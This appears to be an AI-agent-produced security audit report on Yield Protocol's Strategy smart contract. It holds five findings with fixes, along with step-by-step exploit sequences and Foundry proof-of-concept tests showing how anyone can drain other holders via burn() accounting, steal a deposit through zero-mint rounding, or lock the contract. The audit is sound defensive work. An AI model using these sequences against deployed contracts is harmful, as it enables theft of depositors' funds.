# Audit report

> Audit the Strategy contract, focusing on how strategy tokens are minted and burned and how the amount of pool tokens a burner receives is calculated. Do not deploy or modify the code.

| | |
|---|---|
| Repository | https://github.com/yieldprotocol/strategy-v2.git |
| Commit | `ac9ffca561dd8b97d81a108dc5b4669e0a43a9b4` |
| Job | `3c561673-54ff-462a-a9be-6abec2706997` |
| Judged | 2026-11-26 19:39 UTC |
| Findings | 1 critical · 1 medium · 1 low · 2 info |

Four agents audited the code as it is at `ac9ffca`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. Critical: Strategy.burn pays out of the live pool-token balance instead of poolCached, so transfer -> burn -> mint takes the other holders' pool tokens (and a 1 wei transfer blocks a full exit)

`src/Strategy.sol:363`

```
poolTokensObtained = pool.balanceOf(address(this)) * burnt / totalSupply_;
```

Where: Strategy.burn(address), src/Strategy.sol lines 363-367.

Root cause: burn() computes the payout from the live balance, pool.balanceOf(address(this)) * burnt / totalSupply_ (line 363), and then subtracts that payout from the cache (line 367: poolCached = poolCached_ - poolTokensObtained). mint(address) does the opposite: it prices strategy tokens against poolCached only (line 341) and treats balance - poolCached as the caller's deposit (line 335). Pool tokens that sit in the strategy without having been accounted by mint() are therefore counted twice. burn() pays the burner a pro-rata share of them; because the whole payout is charged to the cache, what is left of them is still balance - poolCached afterwards, so the next mint() books all of it as a fresh deposit, at a price (poolCached / totalSupply) that the inflated payout has pushed far down.

Who can do it: anyone. mint and burn are gated only by state == INVESTED, the gap is created by a plain transfer of pool tokens to the strategy, the sequence fits in one transaction and the caller recovers every pool token they sent in, so the capital can be borrowed. The loss falls on the other holders and the sequence can be repeated until they hold nothing.

Three effects of this one line, each reproduced:
(a) Theft from holders: transfer pool tokens, burn, mint, burn (numbers below).
(b) A burn made while somebody else's pool tokens are waiting for mint() is overpaid out of the remaining holders. Note on one specialist claim: the pending depositor is NOT under-credited. Their later mint() still sees deposit = balance - poolCached equal to the full amount they sent, and receives strategy tokens worth it; the shortfall lands on the holders who did not burn. That part of the specialist report did not reproduce and is corrected here.
(c) Denial of exit: whenever balance * burnt / totalSupply exceeds poolCached, line 367 underflows and burn reverts. 1 wei of pool tokens sent to the strategy makes a burn of the whole supply revert with Panic(0x11) until someone calls mint() to absorb it.

Fix (keeps the design, in which the cache is the accounted backing): compute the payout from the cache at line 363, poolTokensObtained = poolCached_ * burnt / totalSupply_, exactly as burnDivested does with baseCached. Unaccounted pool tokens then stay a pending deposit for mint(). Nothing else needs to change. Checked on a scratch copy of the contract with only this line changed: all three tests of the attached proof pass, and they fail on the code as it is.

Merged from five specialist reports of this root cause (1aa27786, f633f305, a599ecdb, 128c6aca, f76f4c0b); the separately reported underflow at line 367 is effect (c), same line, same fix. All four specialist proofs were run and fail on this code for the reason given; the attached proof is a single file covering (a), (b) and (c).

**Reproduction**

Run: forge test --match-path test/scratch/BurnUsesCache.t.sol (the "proof" source). Mock base, fyToken and a pool that mints pool tokens 1:1 for base on init; observed values below.

Setup: init with 100e18 base to a victim, invest. State INVESTED, totalSupply 100e18, poolCached = pool.balanceOf(strategy) = 100e18.

(a) Caller starts with 300e18 pool tokens and no strategy tokens.
1. pool.transfer(strategy, 100e18); strategy.mint(caller) -> 100e18 strategy tokens. totalSupply 200e18, poolCached 200e18.
2. pool.transfer(strategy, 200e18), no mint. Balance 400e18, poolCached 200e18.
3. strategy.transfer(strategy, 99e18); strategy.burn(caller). Expected 200e18 * 99 / 200 = 99e18. Actual 400e18 * 99 / 200 = 198e18. After it: poolCached 2e18, balance 202e18, totalSupply 101e18.
4. strategy.mint(caller): deposit = 202e18 - 2e18 = 200e18, minted = 101e18 * 200e18 / 2e18 = 10100e18 (expected 200e18).
5. Caller sends all 10101e18 strategy tokens to the strategy and calls burn(caller): receives 200019801980198019801.
Result: caller ends with 398019801980198019801 pool tokens after bringing 300e18 (expected: at most 300e18). The victim's 100e18 strategy tokens then burn for 1980198019801980199 pool tokens (expected 100e18).

(b) Same setup. 900e18 pool tokens are sent to the strategy and not yet minted. The victim sends 5e18 strategy tokens and calls burn. Expected 5e18 and poolCached 95e18. Actual 50e18 and poolCached 50e18. A following mint() for the 900e18 gives 1710e18 strategy tokens worth 900e18, and the remaining 95e18 strategy tokens are worth 50e18 instead of 95e18.

(c) Same setup. 1 wei of pool tokens is sent to the strategy. The victim sends all 100e18 strategy tokens and calls burn(victim). Expected: 100e18 pool tokens paid, totalSupply 0. Actual: payout (100e18 + 1) > poolCached 100e18, revert with Panic(0x11) at line 367.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.13;

import "forge-std/Test.sol";
import {Strategy, IFYToken, IPool} from "src/Strategy.sol";

contract MockERC20 {
    string public name;
    string public symbol;
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory name_) {
        name = name_;
        symbol = name_;
    }

    function mint(address to, uint256 amount) public {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract MockFYToken is MockERC20 {
    address public underlying;

    constructor(address underlying_) MockERC20("fyToken") {
        underlying = underlying_;
    }

    function redeem(address, uint256 amount) external pure returns (uint256) {
        require(amount == 0, "mock pool never returns fyToken");
        return 0;
    }
}

/// Minimal stand-in for a YieldSpace pool: an LP token minted 1:1 for the base found on `init`,
/// and burnt pro rata for the base the pool holds.
contract MockPool is MockERC20 {
    MockERC20 public base;
    MockFYToken public fyToken;
    uint32 public maturity;

    constructor(MockERC20 base_, MockFYToken fyToken_) MockERC20("pool") {
        base = base_;
        fyToken = fyToken_;
        maturity = uint32(block.timestamp + 90 days);
    }

    function init(address to) external returns (uint256, uint256, uint256) {
        uint256 baseIn = base.balanceOf(address(this));
        mint(to, baseIn);
        return (baseIn, 0, baseIn);
    }

    function burn(address baseTo, address, uint256, uint256) external returns (uint256 lpBurnt, uint256 baseOut, uint256 fyTokenOut) {
        lpBurnt = balanceOf[address(this)];
        baseOut = totalSupply == 0 ? 0 : base.balanceOf(address(this)) * lpBurnt / totalSupply;
        balanceOf[address(this)] -= lpBurnt;
        totalSupply -= lpBurnt;
        fyTokenOut = 0;
        base.transfer(baseTo, baseOut);
    }
}

/// Strategy.burn must pay `poolCached * burnt / totalSupply`: pool tokens that sit in the strategy but
/// were never accounted by `mint` (balance above `poolCached`) must not change what a burner receives.
contract StrategyBurnUsesCacheTest is Test {
    MockERC20 base;
    MockFYToken fyToken;
    MockPool pool;
    Strategy strategy;

    address victim = address(0xA11CE);
    address caller = address(0xB0B);

    function setUp() public {
        base = new MockERC20("base");
        fyToken = new MockFYToken(address(base));
        pool = new MockPool(base, fyToken);
        strategy = new Strategy("Strategy", "STR", IFYToken(address(fyToken)));
        strategy.grantRole(Strategy.init.selector, address(this));
        strategy.grantRole(Strategy.invest.selector, address(this));

        // The victim is the only holder: 100 base -> 100 strategy tokens, invested into 100 pool tokens.
        base.mint(address(strategy), 100e18);
        strategy.init(victim);
        strategy.invest(IPool(address(pool)));
        assertEq(strategy.totalSupply(), 100e18);
        assertEq(strategy.poolCached(), 100e18);
        assertEq(pool.balanceOf(address(strategy)), 100e18);
    }

    /// transfer pool tokens -> burn -> mint -> burn must not move value from the other holder to the caller.
    function test_transferBurnMint_doesNotTakeOtherHoldersPoolTokens() public {
        pool.mint(caller, 300e18);
        vm.startPrank(caller);

        // Join honestly with 100 pool tokens: 100 strategy tokens, half of the strategy.
        pool.transfer(address(strategy), 100e18);
        assertEq(strategy.mint(caller), 100e18);

        // Leave 200 pool tokens in the strategy without calling mint, then burn 99 strategy tokens.
        pool.transfer(address(strategy), 200e18);
        strategy.transfer(address(strategy), 99e18);
        uint256 obtained = strategy.burn(caller);
        // 99 of 200 strategy tokens over 200 accounted pool tokens.
        assertEq(obtained, 99e18, "burn paid a share of pool tokens that are not in poolCached");

        // The 200 pool tokens are still a pending deposit: mint them, then exit completely.
        strategy.mint(caller);
        strategy.transfer(address(strategy), strategy.balanceOf(caller));
        strategy.burn(caller);
        vm.stopPrank();

        assertLe(pool.balanceOf(caller), 300e18, "caller left with more pool tokens than they brought");

        vm.startPrank(victim);
        strategy.transfer(address(strategy), 100e18);
        uint256 victimOut = strategy.burn(victim);
        vm.stopPrank();
        assertEq(victimOut, 100e18, "victim can no longer redeem their 100 pool tokens");
    }

    /// A burner that acts while somebody else's pool tokens are in the strategy waiting for `mint`
    /// receives only the pro-rata share of the accounted pool tokens.
    function test_burnWhileDepositPending_paysOnlyAccountedShare() public {
        // Somebody transfers 900 pool tokens and has not called mint yet.
        pool.mint(address(strategy), 900e18);

        vm.startPrank(victim);
        strategy.transfer(address(strategy), 5e18);
        uint256 obtained = strategy.burn(victim);
        vm.stopPrank();

        assertEq(obtained, 5e18, "5% of the 100 accounted pool tokens");
        assertEq(strategy.poolCached(), 95e18, "cache must fall by the burner's own share only");
    }

    /// The last holder can always burn the whole supply, whatever was sent to the strategy.
    function test_fullExitAfterOneWeiTransfer() public {
        pool.mint(address(strategy), 1);

        vm.startPrank(victim);
        strategy.transfer(address(strategy), 100e18);
        uint256 obtained = strategy.burn(victim);
        vm.stopPrank();

        assertEq(obtained, 100e18);
        assertEq(strategy.totalSupply(), 0);
    }
}
```

### 2. Medium: mintDivested and mint keep a deposit that rounds to zero strategy tokens, so the holder of a dust supply can inflate the price and take a later deposit

`src/Strategy.sol:384`

```
minted = _totalSupply * deposit / baseCached_;
```

Where: Strategy.mintDivested (lines 380-386) and, with the same arithmetic on pool tokens, Strategy.mint(address) (lines 335-342, minted = _totalSupply * deposit / poolCached_).

Root cause: both functions add the whole deposit to the cache (line 382 / 338) and then mint _totalSupply * deposit / cache rounded down, with no check that minted > 0 and no minimum supplied by the caller. Whenever _totalSupply * deposit < cache the depositor receives nothing and the deposit becomes backing for the existing strategy tokens. The comment in _init (line 140) shows the rounding-down attack is known, but it is only addressed by how much is minted at init: nothing in mint, mintDivested, burn or burnDivested keeps the supply above dust afterwards.

Preconditions, stated plainly: one account holds the whole supply, the supply is dust (1 wei in the reproduction), and the cache per strategy token is above 1, which is the normal condition after any divest that returned more base than was invested (1 wei of pool earnings is enough). This cannot be forced on a strategy in which other holders keep a meaningful stake; it is reachable when the other holders have exited, or early in the strategy's life if it was initialised with a small amount. In that state the holder can double the cache with each zero-mint deposit at no cost to themselves (they own 100% of the supply), after which any deposit smaller than the cache mints 0 and is collected by burning the single wei.

Impact: the next depositor loses the entire deposit to the dust holder. Medium: full loss for the victim, but only in the state described.

Fix that keeps the design: revert in mint and mintDivested when minted == 0. To also close the partial-rounding variant, either accept a minimum-out from the caller or keep a permanently locked minimum supply from init. Checked on a scratch copy with require(minted > 0) added at lines 341 and 384: the attached proof passes (the zero-mint deposits revert and the 1000e18 deposit mints 500e18 strategy tokens). The proof accepts either fix: it only requires that the depositor's base is either refused or redeemable.

Merged from two specialist reports (c6697ab6, 84965602); both reproduce.

**Reproduction**

Run: forge test --match-path test/scratch/ZeroMint.t.sol (the "proof" source). Observed values:

Setup: init with 1e18 base to holder X, invest into a mock pool, the pool earns 1 wei of base, divest after maturity. State DIVESTED, totalSupply 1e18, baseCached 1e18 + 1.
1. X sends 1e18 - 1 strategy tokens to the strategy and calls burnDivested(X): receives 999999999999999999. Now totalSupply = 1, baseCached = 2.
2. X repeats 70 times: send baseCached - 1 base to the strategy, call mintDivested(X). Every call returns minted = 1 * (baseCached - 1) / baseCached = 0 (expected: a revert or a non-zero mint) and baseCached roughly doubles: 2, 3, 5, 9, ... up to 1180591620717411303425. X has put in 1180591620717411303423 in total.
3. A depositor sends 1000e18 base and calls mintDivested(depositor). Expected: strategy tokens worth about 1000e18 (or a revert). Actual: minted = 1 * 1000e18 / 1180591620717411303425 = 0, balanceOf(depositor) = 0, and baseCached grows by 1000e18.
4. X sends the 1 wei strategy token and calls burnDivested(X): receives 2180591620717411303425, that is everything X put in plus the depositor's 1000e18.

mint(address) while INVESTED has the same expression on line 341 (totalSupply = 1, poolCached = 2, a deposit of 1 pool token mints 0); only the mintDivested path was executed.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.13;

import "forge-std/Test.sol";
import {Strategy, IFYToken, IPool} from "src/Strategy.sol";

contract MockERC20 {
    string public name;
    string public symbol;
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory name_) {
        name = name_;
        symbol = name_;
    }

    function mint(address to, uint256 amount) public {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract MockFYToken is MockERC20 {
    address public underlying;

    constructor(address underlying_) MockERC20("fyToken") {
        underlying = underlying_;
    }

    function redeem(address, uint256 amount) external pure returns (uint256) {
        require(amount == 0, "mock pool never returns fyToken");
        return 0;
    }
}

/// Minimal stand-in for a YieldSpace pool: an LP token minted 1:1 for the base found on `init`,
/// and burnt pro rata for the base the pool holds.
contract MockPool is MockERC20 {
    MockERC20 public base;
    MockFYToken public fyToken;
    uint32 public maturity;

    constructor(MockERC20 base_, MockFYToken fyToken_) MockERC20("pool") {
        base = base_;
        fyToken = fyToken_;
        maturity = uint32(block.timestamp + 90 days);
    }

    function init(address to) external returns (uint256, uint256, uint256) {
        uint256 baseIn = base.balanceOf(address(this));
        mint(to, baseIn);
        return (baseIn, 0, baseIn);
    }

    function burn(address baseTo, address, uint256, uint256) external returns (uint256 lpBurnt, uint256 baseOut, uint256 fyTokenOut) {
        lpBurnt = balanceOf[address(this)];
        baseOut = totalSupply == 0 ? 0 : base.balanceOf(address(this)) * lpBurnt / totalSupply;
        balanceOf[address(this)] -= lpBurnt;
        totalSupply -= lpBurnt;
        fyTokenOut = 0;
        base.transfer(baseTo, baseOut);
    }
}

/// What a batchable router does: move the deposit and mint in one call, so a reverting mint moves nothing.
contract MockRouter {
    function depositDivested(Strategy strategy, MockERC20 base, uint256 amount, address to) external returns (uint256) {
        base.transferFrom(msg.sender, address(strategy), amount);
        return strategy.mintDivested(to);
    }
}

/// A deposit must never be taken while minting no strategy tokens for it.
contract StrategyZeroMintTest is Test {
    MockERC20 base;
    MockFYToken fyToken;
    MockPool pool;
    MockRouter router;
    Strategy strategy;

    address holder = address(0xB0B);
    address depositor = address(0xA11CE);

    function setUp() public {
        base = new MockERC20("base");
        fyToken = new MockFYToken(address(base));
        pool = new MockPool(base, fyToken);
        router = new MockRouter();
        strategy = new Strategy("Strategy", "STR", IFYToken(address(fyToken)));
        strategy.grantRole(Strategy.init.selector, address(this));
        strategy.grantRole(Strategy.invest.selector, address(this));

        // One investment cycle that earns 1 wei: base per strategy token is just above 1 afterwards.
        base.mint(address(strategy), 1e18);
        strategy.init(holder);
        strategy.invest(IPool(address(pool)));
        base.mint(address(pool), 1);
        vm.warp(pool.maturity());
        strategy.divest();
        assertEq(strategy.baseCached(), 1e18 + 1);
    }

    function test_depositIsNotTakenForZeroStrategyTokens() public {
        vm.startPrank(holder);
        base.approve(address(router), type(uint256).max);

        // The only holder exits down to 1 wei of strategy tokens.
        strategy.transfer(address(strategy), strategy.balanceOf(holder) - 1);
        strategy.burnDivested(holder);

        // Deposits of baseCached - 1 round to zero strategy tokens and are kept, doubling the cache each time.
        for (uint256 i; i < 70; i++) {
            uint256 amount = strategy.baseCached() - 1;
            base.mint(holder, amount);
            try router.depositDivested(strategy, base, amount, holder) {} catch {}
        }
        vm.stopPrank();

        // An ordinary deposit of 1000 base through the router.
        base.mint(depositor, 1000e18);
        vm.startPrank(depositor);
        base.approve(address(router), type(uint256).max);
        try router.depositDivested(strategy, base, 1000e18, depositor) {} catch {}
        vm.stopPrank();

        // Either the deposit was refused (the base is still the depositor's) or it is redeemable.
        uint256 redeemable = strategy.baseCached() * strategy.balanceOf(depositor) / strategy.totalSupply();
        assertGe(base.balanceOf(depositor) + redeemable, 990e18, "deposit taken without strategy tokens in return");
    }
}
```

### 3. Low: After every holder has exited, mint and mintDivested divide by zero (or silently mint nothing), and the strategy can never take a deposit again

`src/Strategy.sol:341`

```
minted = _totalSupply * deposit / poolCached_;
```

Where: Strategy.mint(address) line 341 and Strategy.mintDivested line 384 (minted = _totalSupply * deposit / baseCached_).

Root cause: neither function has a branch for an empty strategy. burn and burnDivested let holders take totalSupply and the matching cache to exactly zero, and the only code that mints against an empty strategy, _init, is restricted to State.DEPLOYED (line 132), which is left for good after the first init. No transition recovers it: restart() needs DRAINED, init()/the 4-argument mint hook need DEPLOYED, invest() from DIVESTED forwards baseCached = 0 to a pool.

Two outcomes, both reproduced:
- Cache is 0: every later mint/mintDivested reverts with Panic(0x12), in both the invested and the divested state.
- Cache is above 0 while totalSupply is 0 (after a full exit while INVESTED, any stray pool tokens are turned into baseCached by divest(), line 200): mintDivested does not revert. It computes 0 * deposit / baseCached = 0, keeps the deposit in baseCached and mints nothing. burnDivested then divides by _totalSupply = 0, so no user can ever withdraw that base.

Impact: holders who exit lose nothing. The strategy instance, with its role grants and any rewards schedule, is permanently unusable after ordinary user actions and has to be redeployed; in the second outcome a later depositor's base is taken with nothing minted. Low: it needs the whole supply to be burnt first.

Fix that preserves behaviour: in mint and mintDivested, when _totalSupply == 0 treat the deposit as a first deposit (minted = deposit, as _init does), or keep a locked minimum supply from init so the supply can never reach zero. Checked on a scratch copy with "_totalSupply == 0 ? deposit : ..." at lines 341 and 384: the three tests of the attached proof pass. The proof accepts either of these two fixes.

Merged from four specialist reports (53c8d994, 7cd3c5fb, c8b9d51b, 086b6174), which rated it low, low, medium and low. The 'stuck base' the medium rating relied on needs a depositor to send base without minting in the same call, or the stray-balance state above, so low is kept.

**Reproduction**

Run: forge test --match-path test/scratch/EmptySupply.t.sol (the "proof" source). Setup for all three: 100e18 base sent to a DEPLOYED strategy, init(holder): DIVESTED, totalSupply 100e18, baseCached 100e18.

1. Divested: the holder sends 100e18 strategy tokens to the strategy and calls burnDivested(holder): totalSupply 0, baseCached 0. Bob sends 10e18 base and calls mintDivested(bob). Expected: Bob receives strategy tokens redeemable for his 10e18. Actual: Panic(0x12) division by zero at line 384.
2. Invested: invest into a pool (poolCached 100e18), the holder sends 100e18 strategy tokens and calls burn(holder): totalSupply 0, poolCached 0. Bob sends 10e18 pool tokens and calls mint(bob). Expected: strategy tokens for Bob. Actual: Panic(0x12) at line 341.
3. Silent variant: as in 2, then 1e18 stray pool tokens reach the strategy and divest() is called after maturity, so baseCached > 0 with totalSupply = 0. Bob sends 10e18 base and calls mintDivested(bob). Expected: strategy tokens for Bob, or a revert. Actual: the call succeeds, balanceOf(bob) = 0, and the 10e18 base is added to baseCached.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.13;

import "forge-std/Test.sol";
import {Strategy, IFYToken, IPool} from "src/Strategy.sol";

contract MockERC20 {
    string public name;
    string public symbol;
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory name_) {
        name = name_;
        symbol = name_;
    }

    function mint(address to, uint256 amount) public {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract MockFYToken is MockERC20 {
    address public underlying;

    constructor(address underlying_) MockERC20("fyToken") {
        underlying = underlying_;
    }

    function redeem(address, uint256 amount) external pure returns (uint256) {
        require(amount == 0, "mock pool never returns fyToken");
        return 0;
    }
}

/// Minimal stand-in for a YieldSpace pool: an LP token minted 1:1 for the base found on `init`,
/// and burnt pro rata for the base the pool holds.
contract MockPool is MockERC20 {
    MockERC20 public base;
    MockFYToken public fyToken;
    uint32 public maturity;

    constructor(MockERC20 base_, MockFYToken fyToken_) MockERC20("pool") {
        base = base_;
        fyToken = fyToken_;
        maturity = uint32(block.timestamp + 90 days);
    }

    function init(address to) external returns (uint256, uint256, uint256) {
        uint256 baseIn = base.balanceOf(address(this));
        mint(to, baseIn);
        return (baseIn, 0, baseIn);
    }

    function burn(address baseTo, address, uint256, uint256) external returns (uint256 lpBurnt, uint256 baseOut, uint256 fyTokenOut) {
        lpBurnt = balanceOf[address(this)];
        baseOut = totalSupply == 0 ? 0 : base.balanceOf(address(this)) * lpBurnt / totalSupply;
        balanceOf[address(this)] -= lpBurnt;
        totalSupply -= lpBurnt;
        fyTokenOut = 0;
        base.transfer(baseTo, baseOut);
    }
}

/// After every holder has exited, the strategy must still be able to take a deposit and pay it back.
contract StrategyEmptySupplyTest is Test {
    MockERC20 base;
    MockFYToken fyToken;
    MockPool pool;
    Strategy strategy;

    address holder = address(0xA11CE);
    address bob = address(0xB0B);

    function setUp() public {
        base = new MockERC20("base");
        fyToken = new MockFYToken(address(base));
        pool = new MockPool(base, fyToken);
        strategy = new Strategy("Strategy", "STR", IFYToken(address(fyToken)));
        strategy.grantRole(Strategy.init.selector, address(this));
        strategy.grantRole(Strategy.invest.selector, address(this));

        base.mint(address(strategy), 100e18);
        strategy.init(holder);
    }

    function test_mintDivestedAfterEveryHolderExited() public {
        vm.startPrank(holder);
        strategy.transfer(address(strategy), strategy.balanceOf(holder));
        strategy.burnDivested(holder);
        vm.stopPrank();

        base.mint(address(strategy), 10e18);
        uint256 minted = strategy.mintDivested(bob);
        assertGt(minted, 0, "no strategy tokens for a deposit into an empty strategy");

        vm.startPrank(bob);
        strategy.transfer(address(strategy), minted);
        uint256 out = strategy.burnDivested(bob);
        vm.stopPrank();
        assertGe(out, 9.9e18, "deposit not redeemable");
    }

    function test_mintAfterEveryHolderExited() public {
        strategy.invest(IPool(address(pool)));

        vm.startPrank(holder);
        strategy.transfer(address(strategy), strategy.balanceOf(holder));
        strategy.burn(holder);
        vm.stopPrank();

        pool.mint(address(strategy), 10e18);
        uint256 minted = strategy.mint(bob);
        assertGt(minted, 0, "no strategy tokens for a deposit into an empty strategy");

        vm.startPrank(bob);
        strategy.transfer(address(strategy), minted);
        uint256 out = strategy.burn(bob);
        vm.stopPrank();
        assertGe(out, 9.9e18, "deposit not redeemable");
    }

    /// Empty supply but a non-zero cache (stray pool tokens picked up by divest): the deposit must not be swallowed.
    function test_mintDivestedWithEmptySupplyAndStrayBase() public {
        strategy.invest(IPool(address(pool)));

        vm.startPrank(holder);
        strategy.transfer(address(strategy), strategy.balanceOf(holder));
        strategy.burn(holder);
        vm.stopPrank();

        pool.mint(address(strategy), 1e18); // stray pool tokens
        vm.warp(pool.maturity());
        strategy.divest();
        assertGt(strategy.baseCached(), 0);

        base.mint(address(strategy), 10e18);
        strategy.mintDivested(bob);
        assertGt(strategy.balanceOf(bob), 0, "10 base taken, no strategy tokens minted");
    }
}
```

### 4. Info: Trust assumption: if the rewards token is set to the base token, rewards funding is minted against as a deposit by the next caller

`src/Strategy.sol:381`

```
uint256 deposit = base.balanceOf(address(this)) - baseCached_;
```

Strategy inherits ERC20Rewards, whose auth-gated setRewardsToken (callable once) accepts any token, including the strategy's base. Rewards funding is held by the strategy itself, so if the rewards token is the base it sits in base.balanceOf(strategy) above baseCached, and mintDivested (line 381) treats it as the deposit of whoever calls next. The same reasoning applies while INVESTED if the rewards token is the pool token (line 335 for mint, line 363 for burn), and to the strategy token itself, since burn and burnDivested burn every strategy token the contract holds.

This is a privileged misconfiguration, not a permission bypass: only an account granted setRewardsToken can create it, so it is reported as a trust assumption and rated info (the specialist rated it low). Nothing in Strategy prevents it. Hardening that does not change the design: document that the rewards token must not be base, a pool token or the strategy token, or reject base in an override of setRewardsToken.

Only the first half of the specialist's claim was executed (capture of rewards funding by a mint with no deposit). The second half (a later claim() pulling the base balance below baseCached so that mintDivested underflows) follows from line 381 but was not run.

**Reproduction**

Mock base and fyToken. 1000e18 base sent to the strategy, init(victim): DIVESTED, totalSupply 1000e18, baseCached 1000e18. The admin grants itself setRewardsToken and calls setRewardsToken(base), then 100e18 base is sent to the strategy as rewards funding. A caller who has sent nothing calls mintDivested(caller). Expected: nothing minted without a deposit. Actual: minted = 1000e18 * 100e18 / 1000e18 = 100e18 strategy tokens to the caller, backed by the rewards funding.

### 5. Info: invest decodes three return words from init, so a Strategy can never be invested into another Strategy; the self-grant of init in the constructor has no effect

`src/Strategy.sol:165`

```
(,, poolTokensObtained) = pool_.init(address(this));
```

StrategyMigrator describes itself as posing as a Pool to receive all assets from a Strategy during a roll, and Strategy implements that hook as mint(address,address,uint256,uint256) (line 106), with a constructor grant commented 'Enable the mint -> init hook' (line 58). The roll path of this contract, invest, does not call mint on its target: it calls pool_.init(address(this)) and decodes (uint256,uint256,uint256). Strategy.init (line 119) returns a single uint256 and StrategyMigrator has no init, so when the target of invest is a Strategy the 32 bytes returned fail ABI decoding and invest reverts. The 4-argument mint hook is therefore reachable only from the older strategy version that calls pool.mint, holders of this version cannot be rolled into a successor of the same shape through invest, and the grant at line 58 is dead: mint calls the internal _init, and the contract never calls its own external init.

No funds are at risk (invest reverts as a whole and holders can still exit with burnDivested), and this is outside the mint/burn arithmetic the audit focuses on, so it is rated info (the specialist rated it low). Fix without changing the pool-facing design: give the migrator hook the shape invest calls, an init(address) returning (baseIn, 0, minted), or document that this version cannot be the source of a migration and drop the unused grant.

**Reproduction**

Mock base and fyToken. Deploy Strategy A and Strategy B on the same fyToken. B.grantRole(Strategy.init.selector, A); the test contract holds A's init and invest roles. Send 100e18 base to A, call A.init(holder), then A.invest(IPool(address(B))). Expected (per StrategyMigrator's description): B receives the 100e18 base and mints 100e18 B tokens to A. Actual: invest reverts while decoding B.init's one-word return as three words. Calling B.init(address(A)) directly from A's address with 100e18 base in B succeeds and returns 100e18, so only the return shape stands in the way.

---

Judge's submission `fb7d7107c4ccfbbf98eac114655a7ad96a46dbcf2f7ef8943ae8b8806725678d`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
